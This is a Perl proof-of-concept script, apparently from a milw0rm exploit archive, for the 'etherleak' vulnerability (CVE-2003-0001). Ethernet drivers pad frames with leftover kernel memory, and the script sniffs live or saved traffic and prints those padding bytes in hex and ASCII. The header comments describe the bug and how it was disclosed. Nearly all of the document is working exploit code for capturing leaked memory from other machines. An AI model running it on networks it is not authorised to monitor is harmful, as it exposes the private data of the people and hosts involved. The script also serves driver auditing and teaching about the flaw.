#!/usr/bin/perl -w
# etherleak, code that has been 5 years coming.
#
# On 04/27/2002, I disclosed on the Linux Kernel Mailing list,
# a vulnerability that would be come known as the 'etherleak' bug. In
# various situations an ethernet frame must be padded to reach a specific
# size or fall on a certain boundary. This task is left up to the driver
# for the ethernet device. The RFCs state that this padding must consist
# of NULLs. The bug is that at the time and still to this day, many device
# drivers do not pad will NULLs, but rather pad with unsanitized portions
# of kernel memory, oftentimes exposing sensitive information to remote
# systems or those savvy enough to coerce their targets to do so.
#
# Proof of this can be found by googling for 'warchild and etherleak', or
# by visiting:
#
# http://lkml.org/lkml/2002/4/27/101
#
# This was ultimately fixed in the Linux kernel, but over time this
# vulnerability reared its head numerous times, but at the core the
# vulnerability was the same as the one I originally published. The most
# public of these was CVE-2003-0001, which was assigned to address an
# official @stake advisory.
#
# This code can be found its most current form at:
#
# http://spoofed.org/files/exploits/etherleak
#
# Jon Hart <jhart@spoofed.org>, March 2007
#
use strict;
use diagnostics;
use warnings;
use Getopt::Long;
use Net::Pcap;
use NetPacket::Ethernet qw(:ALL);
use NetPacket::IP qw(:ALL);
my %opts = ();
my ($iface, $err, $pcap_t, $pcap_save, $filter_string);
GetOptions( \%opts, 'help', 'filter=s', 'interface=s', 'quiet', 'read=s', 'write=s', 'verbose') or
die "Unknown option: $!\n" && &usage();
if (defined($opts{'help'})) {
&usage();
exit(0);
}
if (defined($opts{'read'})) {
$pcap_t = Net::Pcap::open_offline($opts{'read'}, \$err);
if (!defined($pcap_t)) {
print("Net::Pcap::open_offline failed: $err\n");
exit 1;
}
} else {
if (defined($opts{'interface'})) {
$iface = $opts{'interface'};
} else {
$iface = Net::Pcap::lookupdev(\$err);
if (defined($err)) {
print(STDERR "lookupdev() failed: $err\n");
exit(1);
} else {
print(STDERR "No interface specified. Using $iface\n");
}
}
$pcap_t = Net::Pcap::open_live($iface, 65535, 1, 0, \$err);
if (!defined($pcap_t)) {
print("Net::Pcap::open_live failed on $iface: $err\n");
exit 1;
}
}
my $filter;
if (Net::Pcap::compile($pcap_t, \$filter, defined($opts{'filter'}) ? $opts{'filter'} : "", 0, 0) == -1) {
printf("Net::Pcap::compile failed: %s\n", Net::Pcap::geterr($pcap_t));
exit(1);
}
if (Net::Pcap::setfilter($pcap_t, $filter) == -1) {
printf("Net::Pcap::setfilter failed: %s\n", Net::Pcap::geterr($pcap_t));
exit(1);
}
if (defined($opts{'write'})) {
$pcap_save = Net::Pcap::dump_open($pcap_t, $opts{'write'});
if (!defined($pcap_save)) {
printf("Net::Pcap::dump_open failed: %s\n", Net::Pcap::geterr($pcap_t));
exit(1);
}
}
Net::Pcap::loop($pcap_t, -1, \&process, "foo");
Net::Pcap::close($pcap_t);
if (defined($opts{'write'})) {
Net::Pcap::dump_close($pcap_save);
}
sub process {
my ($user, $hdr, $pkt) = @_;
my ($link, $ip);
my $jump = 0;
my $datalink = Net::Pcap::datalink($pcap_t);
if ($datalink == 1) { $jump += 14; }
elsif ($datalink == 113) { $jump += 16; }
else { printf("Skipping datalink $datalink\n"); return; }
my $l2 = NetPacket::Ethernet->decode($pkt);
if ($l2->{type} == ETH_TYPE_IP) {
$ip = NetPacket::IP->decode(eth_strip($pkt));
$jump += $ip->{len};
} elsif ($l2->{type} == ETH_TYPE_ARP) { $jump += 28; }
else {
# assume 802.3 ethernet, and just jump ahead the length
for ($l2->{dest_mac}) {
if (/^0180c200/) {
# spanning tree
# l2->{type} here will actually be the length. HACK.
$jump += $l2->{type};
}
elsif (/^01000ccccc/) {
# CDP/VTP/DTP/PAgP/UDLD/PVST, etc
# l2->{type} here will actually be the length. HACK.
$jump += $l2->{type};
} elsif (/^ab0000020000/) {
# DEC-MOP-Remote-Console
return;
} else {
# loopback
if ($l2->{src_mac} eq $l2->{dest_mac}) { return; }
printf("Skipping datalink $datalink l2 type %s\n", $l2->{type}); return;
}
}
}
if ($hdr->{len} > $jump) {
my $trailer_bin = substr($pkt, $jump);
my $trailer_hex = "";
my $trailer_ascii = "";
foreach (split(//, $trailer_bin)) {
$trailer_hex .= sprintf("%02x", ord($_));
if (ord($_) >= 32 && ord($_) <= 126) {
$trailer_ascii .= $_;
} else { $trailer_ascii .= "."; }
}
# ignore all trailers that are just single characters repeated.
# most OS' use 0, F, 5 or a.
unless ($trailer_hex =~ /^(0|5|f|a)\1*$/i) {
unless ($opts{'quiet'}) {
print("#"x80, "\n");
printf("%s -> %s\n", $l2->{src_mac}, $l2->{dest_mac});
if ($l2->{type} == ETH_TYPE_IP) {
printf("%s -> %s\n", $ip->{src_ip}, $ip->{dest_ip});
}
}
print("$trailer_hex\t$trailer_ascii\n");
if (defined($opts{'write'})) {
Net::Pcap::dump($pcap_save, $hdr, $pkt);
}
}
}
}
sub usage {
print <<EOF;
$0 -- A demonstration of the infamous 'etherleak' bug.
CVE-2003-0001, and countless repeats of the same vulnerability.
Options:
[-h|--help] # this message
[-i|--interface] <interface> # interface to listen on
[-f|--filter] <pcap filter> # apply this filter to the traffic
[-r|--read] <path to pcap> # read from this saved pcap file
[-w|--write] <path to pcap> # write tothis saved pcap file
[-q|--quiet] # be quiet
[-v|--verbose] # be verbose
EOF
}
# milw0rm.com [2007-03-23]